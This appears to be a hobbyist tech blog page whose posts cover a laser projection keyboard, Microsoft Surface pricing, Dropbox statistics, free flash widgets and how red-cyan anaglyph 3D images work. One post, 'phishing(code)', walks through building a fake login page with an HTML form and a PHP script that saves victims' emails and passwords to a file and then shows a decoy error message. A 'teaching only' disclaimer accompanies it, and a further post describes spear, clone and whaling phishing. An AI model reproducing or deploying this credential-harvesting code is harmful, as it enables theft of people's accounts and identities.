Celluon Magic Cube

Cube Laser Virtual Keyboard

The Cube Laser Virtual Keyboard -Celluon Magic Cube Laser Projection Keyboard and Touchpad- is a tiny device that laser-projects a keyboard on any flat surface. Then you can type accompanied by key click sounds.
  This is a revolutionary device is something that you can show to your colleagues.

It is compatible with iPad, iPhone or laptop, has a QWERTY layout and is available at the price of $125

The Celluon laser keyboard acts exactly like any other "ordinary" keyboard: A direction technology based on an optical recognition mechanism enables the user to tap on the projected key images, while producing real tapping sounds.

To the "Surface"

Microsoft Surface is a series of tablets designed and marketed by Microsoft. 

The Surface comes in two versions: one with Windows RT and another with Windows 8 Pro. The Windows RT model uses an ARM CPU, while the Windows 8 Pro model will use an Intel CPU.  Both models are able to install new applications via the Windows Store, however only the Windows 8 Pro model allows the installation of traditional third-party desktop programs.

                                                          

The Microsoft Surface line features VaporMg, a molded magnesium casing that houses Surface's components paired with a Physical Vapor Deposition(PVD) finish. Both models have two 720p HD front- and rear-facing cameras, and a "kickstand" beneath which is a  hidden microSDXC port. The "kickstand" allows the device to be standd up at an angle for hands-free viewing. It has 2GB memory, Geforce ULP graphics in surface whereas 4 GB memory and Intel HD Graphics 4000 in surface pro.

  

Price tags:

• Surface with Windows RT, 32 GB (no keyboard cover): $499/£399
• Surface with Windows RT, 32 GB with Black Touch Cover: $599/£479
• Surface with Windows RT, 64 GB with Black Touch Cover: $699/£559
• Surface Touch Cover (white, red, black, cyan, or pink): $119/£99.99
• Surface Type Cover: $129/£109.99

Surface is a very exciting piece of hardware that Microsoft has launched after kinect. The slim tablet cum PC is a great hardware to own. I would definitely like to get one of those but looking at the price that Microsoft has tagged it. I don't think it is worth paying $500.

 I would love to own one of them only if somebody sponsored me one.

Dropbox

 How big is Dropbox??
You probably might have heard about DROPBOX. I think this company is one of the most rapidly growing company in the world.
Drew Houston the founder and his co-founder Arash Ferdowsi had idea for drop box in 2008 and 4 years
later the idea turned into a big company.

 Some interesting facts about Dropbox.

-Billion files saved each 24 hours.
-about $500 million revenue.
-Has 100 million users, which is double from that of the last year.
-96% of people use it for free
-Has 250 employee. It although startted with 90 employees.
-Its value was guessed over $4 billion a year ago and a year later, its value is rumored
to be much higher.

phishing(code)

This post is only for teaching and learning process. Anything you do with the codes is your own responsibility. So, plz don't try phishing on others because it is an illegal act.

The code for phishing is a very simple HTML and PHP combination.

The page that you will be viewing or the user will be viewing is the HTML page and we will use simple PHP code for combining the info into a file name file.

1. first create a HTML file. Its upto your creativity, how you create your website. For the demonstration I will use a simple login page.

<p align=center><img src="path of your image/logo">
</p>
<h1 align= center>The header goes here</h1>
<form action="phishing.php" method="post">
email address:<input type="text" name="email"/></br>
password:<input type="password" name="pwd"/>

<input type="submit" value="submit"/>
</form>

2. Now create a PHP file called phishing.php and type in the following code.
     This code written in PHP works with the previously entered login information and combines it into a file name "file".

<?php
$email=$_post['email'];
$password=$_post['pwd'];
$data=$email.','. $password;
$file=file;

file_put_contents($file,$data. PHP_EOL,FILE_APPEND);
print '<p align=center><img src="logo/image location">
</p>
<h1 align= center>The header goes here</h1>

</br>
<h1> error mssg stating some error so that user has to come and try again later as it is obvious that you are using the website only for phishing.</h1>
?>

3. The information will be saved in a file named "file". So, open the file and see whats inside then you may delete it because phishing out others information is illegal.

I hope you have understood the core of phishing.
Plz don't try doing this to others.

Hacking (Phishing)

First I would like to like to notify all my viewers that, this post is only to get knowledge about phishing. Please don't try this as it is an illegal act.

The term phishing is the act of attempting to acquire information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication.
 
As in fishing, you provide a bait and the fish itself comes to your bait and gets hooked.
Phishing is s similar process where the attacker pretends to be a trust worthy person or an organization in most cases and makes you give away your personal identities to them.

Most of us might have heard of facebook hacking. Phishing through website is its main reason. Attackers make similar website as facebook login page and even direct them to their home page using their own fake websites. This is the most probable case of losing your identity.

List of phishing techniques

Phishing

Phishing is a way of attempting to acquire information such as usernames, passwords, and credit card details by masquerading as a trustworthy entity in an electronic communication.

Spear Phishing

Phishing attempts directed at specific individuals or companies have been termed spear phishing. Attackers may gather personal information about their target to increase their probability of success.

Clone Phishing

A type of phishing attack whereby a legitimate, and previously delivered, email containing an attachment or link has had its content and recipient address(es) taken and used to create an almost identical or cloned email. The attachment or Link within the email is replaced with a malicious version and then sent from an email address spoofed to appear to come from the original sender. It may claim to be a re-send of the original or an updated version to the original.

This technique could be used to pivot (indirectly) from a previously infected machine and gain a foothold on another machine, by exploiting the social trust associated with the inferred connection due to both parties receiving the original email.

Whaling

Several recent phishing attacks have been directed specifically at senior executives and other high profile targets within businesses, and the term whaling has been coined for these kinds of attacks.

I'll discuss about some of the examples of phishing website along with their codes in my next post. So, don't forget to follow me.

Get free flash animated widgets.

Get free flash animated widgets.

If you are a lazy graphic designer or you don't know how to make your own animations. One of the best site for a free animation is http://www.flashvortex.com/

This website enables you to create free Menus, Banners, Widgets, Buttons and other many flash animated modules for your website. 

I think you will love this website for free animations.

Your own 3D image

While stereoscopic effects like Cyan/Red 3D are often created with fancy photography tricks, we’ll be creating one today with simple trick image editing. Dive right on in and see how simple it can be, with a simple version for Photoshop beginners, and an optional second part for users that want to give their image a little more oomph. Keep reading!

A Simple Red & Cyan 3D Effect

The technical term for a 3D image is an Anaglyph, which are usually created by photographing a subject from two separate vantage points, then combining the images. Today, we won’t be doing that, but we will achieve the same effect by digging through our image channels. Open up a worthy image and let’s get going!

For this demonstration i will be using Adobe photoshop, but you can use any image editing software you like.

 Step 1: Take two photos of anything you like,one for the right eye and another some distance apart for the left eye.

Step 2: convert both of your images to Grayscale.

Image>mode>grayscale.

 Step 3: Convert the left eye image back to RGB.

 Image>mode>RGB color. 

Step 4: Enable the channel window( i.e if it is not), then select the green and blue colors only by holding the shift key.

Step 5: Now, copy and paste the right eye image on top of the left eye image and enable the RGB channel.  After this you might see some outlines of red in your image.

Step 6: Now reposition and give some final touches to the images so as to give it a perfect 3D look.

3D

How 3D works?

We might all have had watched a 3D movie by the date and if not then I suggest you get a ticket very soon. Transformers was my best experience of a 3D movie till date. Besides, watching those movies has anyone ever wondered how it is possible to view 3D just by putting on some old fashioned funky glasses??

Let us see for ourselves,  how 3D works.
The answer is pretty simple and pretty amazing as well. The reason of us being able to see 3D is because of our two eyes. 3D might not be possible with a single eye. The main reason is the gap between our two eyes, that small distance helps us to calculate the exact position of an object that we see around us, the calculated output is termed as 3D image. The separation of our eyes makes us take in two different images at a time. The two different images that we see from our two eyes are processed by our mind to make it look like one 3D-image.

Anaglyph 3D is the name given to the stereoscopic 3D effect achieved by means of encoding each eye's image using filters of different (usually chromatically opposite) colors, typically red and cyan. Anaglyph 3D images contain two differently filtered colored images, one for each eye. When viewed through the "color coded" "anaglyph glasses", each of the two images reaches one eye, revealing an integrated stereoscopic image. The visual cortex of the brain fuses this into perception of a three dimensional scene or composition.

SEE FOR YOURSELF!!

First close one of your eyes. Try holding index finger of your one hand out(parallel to the ground) and tip of your another index finger opposite to the first one at some distance. Now try touching two tips of your index finger without opening your eyes. It doesn’t seem to be done at your will or is it????

The simple reason for that is, we are not able to see 3D with our one eye open. The above mentioned experiment can easily be done with both eyes open.

We, already know that whatever we see is in 3D, at least!!

Many of us might have wondered how this might work using a 3D glass. The magic is not within the glasses, it is the image and the glasses together which enables us to visualize 3D image. The concept of making a 3D image is same as real life 3D viewing experience.

First, two images are captured, one in perspective of one eye and other from a little distance as an image for another eye. First the image colors are manipulated and then they are combined together using a photo editing software such that the images overlapping gives us a sensation of 3D-image.

But, how 3D works in case of the red and blue cyan glasses?

 

The logic is same. But, the difference arises when two of the images are edited and compiled. One of the image is made focusing the red color of the image and another focusing the blue. Those two images are combined together using a photo editing software as our brain does for us. Hence, a 3D image is created.

Now, if we think about the glasses. One of the lens is made of red material and another from blue. The logic of using the red and blue colored lenses is that it filters one of either blue or red image from the combined image. When we put the glass on, the blue colored lens filters the blue image and the red filters the red image. Hence, two seperate images are delivered to our eyes. Now, our brain does the compiling and we are able to see a 3D image.

As we have understood the logic behind a 3D image, I’ll try and teach how a simple 3D image for a red and blue cyan glass can be made in my next post. I hope you will enjoy making some of your own 3D images then.